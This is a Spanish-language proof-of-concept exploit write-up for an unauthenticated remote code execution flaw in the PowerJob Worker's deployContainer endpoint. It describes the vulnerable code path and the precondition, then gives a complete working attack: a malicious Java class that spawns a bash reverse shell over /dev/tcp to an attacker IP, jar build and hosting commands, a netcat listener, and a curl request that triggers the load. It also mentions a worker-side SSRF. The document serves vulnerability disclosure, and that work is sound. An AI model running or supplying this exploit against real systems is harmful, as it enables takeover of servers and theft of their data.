
Prueba de concepto del exploit para CVE-2026-75430, que logra ejecución remota de código no autenticada en PowerJob Worker mediante la carga arbitraria de JAR a través del endpoint deployContainer.
/worker/deployContainer (Carga Arbitraria de JAR)El Worker de PowerJob expone el manejador deployContainer en su puerto de transporte HTTP 27777 sin autenticación alguna. Un atacante envía una URL arbitraria; el Worker descarga ese JAR y lo carga mediante URLClassLoader + Spring ClassPathXmlApplicationContext, ejecutando código arbitrario durante el init-method de Spring → RCE en el Worker. El docker-compose predeterminado publica este puerto en el host.
Precondición (declaración honesta): el Worker debe estar en ejecución (27777 escuchando). En la configuración predeterminada, el Worker valida al inicio que su aplicación esté registrada en el servidor (/server/assert); si la aplicación no está registrada, el Worker no se inicia y 27777 no está escuchando (verificado: el proceso Java termina con código 1). Por lo tanto, un estado estrictamente nuevo de "docker-compose up sin configuración de consola" no es directamente explotable. Sin embargo, el funcionamiento normal de PowerJob requiere necesariamente que la aplicación esté registrada y que el Worker esté en línea (de lo contrario, el sistema no programa ningún trabajo), por lo que cualquier implementación realmente en uso cumple inherentemente la precondición, tras lo cual el exploit no requiere credenciales. En contraste, el hallazgo relacionado PJ-08 (servidor /friend/process) no tiene tal precondición — el servidor enlaza el puerto 10010 al inicio de forma incondicional.
powerjob-worker, implementado mediante la imagen oficial powerjob-worker-samples)docker-compose.yml, protocolo HTTP, puerto 27777 (PowerJobWorkerConfig.java:34)| Elemento | Valor |
|---|---|
| Punto de entrada | POST http://<worker>:27777/worker/deployContainer |
| Manejador | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), sin autenticación) |
| Descarga | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Carga | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Cuerpo de la solicitud ServerDeployContainerRequest (campos containerId/containerName/version/downloadURL).
WorkerActor confía plenamente en downloadURL.OmsContainerFactory descarga el JAR desde una URL arbitraria e inmediatamente llama a OmsJarContainer.init(): carga con URLClassLoader + refresh() del contexto Spring → el código malicioso se ejecuta durante la inicialización de clases/Beans.Precondición: el Worker está en ejecución y 27777 está escuchando (satisfecha por cualquier implementación de producción/demo; si el operador siguió el flujo oficial y creó la aplicación de muestra, el Worker está en línea). Para la reproducción, el Worker puede iniciarse con --powerjob.worker.allow-lazy-connect-server=true para omitir la verificación de registro de la aplicación (no recomendado en producción; nótese que el interruptor solo afecta si el Worker se pone en línea — no cambia la falta de autenticación en el puerto abierto).
OmsJarContainer.init()):
oms-worker-container.properties con PACKAGE_NAME=com.evilcom/evil/Exploit.class — una clase que expone un init-method de Spring (p. ej. run()) que ejecuta un comandooms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer al puerto 27777 del Worker con el cuerpo {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<atacante>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() carga la clase (no ejecuta inicializadores estáticos), luego ClassPathXmlApplicationContext.refresh() instancia el bean e invoca el init-method → ejecución arbitraria de comandos (con los privilegios de ejecución del Worker).AbstractScriptProcessor.java:118-123 también admite la descarga desde una URL arbitraria → SSRF en el lado del Worker.Sin eco de salida: el manejador
deployContainerdevuelvevoid, por lo que la respuesta HTTP no lleva la salida del comando (verificado: cuerpo vacío). Para la ejecución interactiva de comandos, la técnica principal es una reverse shell (ver Reproducción a continuación); la variante del archivo marcador es solo una verificación local no interactiva.
Entorno: JDK 21, powerjob-worker-samples-5.1.2.jar compilado desde el código fuente, Worker escuchando en 192.168.49.128:27777 (iniciado con --powerjob.worker.allow-lazy-connect-server=true para omitir el registro de la aplicación).
Principal — reverse shell (ejecución interactiva de comandos):
El Exploit.run() del JAR malicioso (init-method de Spring) genera una reverse shell. Dado que no hay eco de salida, esta es la forma efectiva de obtener ejecución interactiva de comandos en el host del Worker.
# 1) El atacante escucha primero:
nc -lvnp 7878
# 2) Construcción del JAR malicioso — Exploit.run() ejecuta una reverse shell bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # alojar evil.jar
# 3) Disparo (sin credenciales):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
Alternativamente, usar el script para verificar: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Punto clave del PoC:
OhMyClassLoader.load()solo llama aloadClass(), que no ejecuta inicializadores estáticos; el punto real de ejecución es el init-method de Spring invocado porClassPathXmlApplicationContext.refresh(). Por lo tanto, el JAR malicioso debe llevar el XML de Spring y declararinit-method. La reverse shell debe ejecutarse mediante/bin/bash -cporque/bin/sh(dash) no analiza/dev/tcp.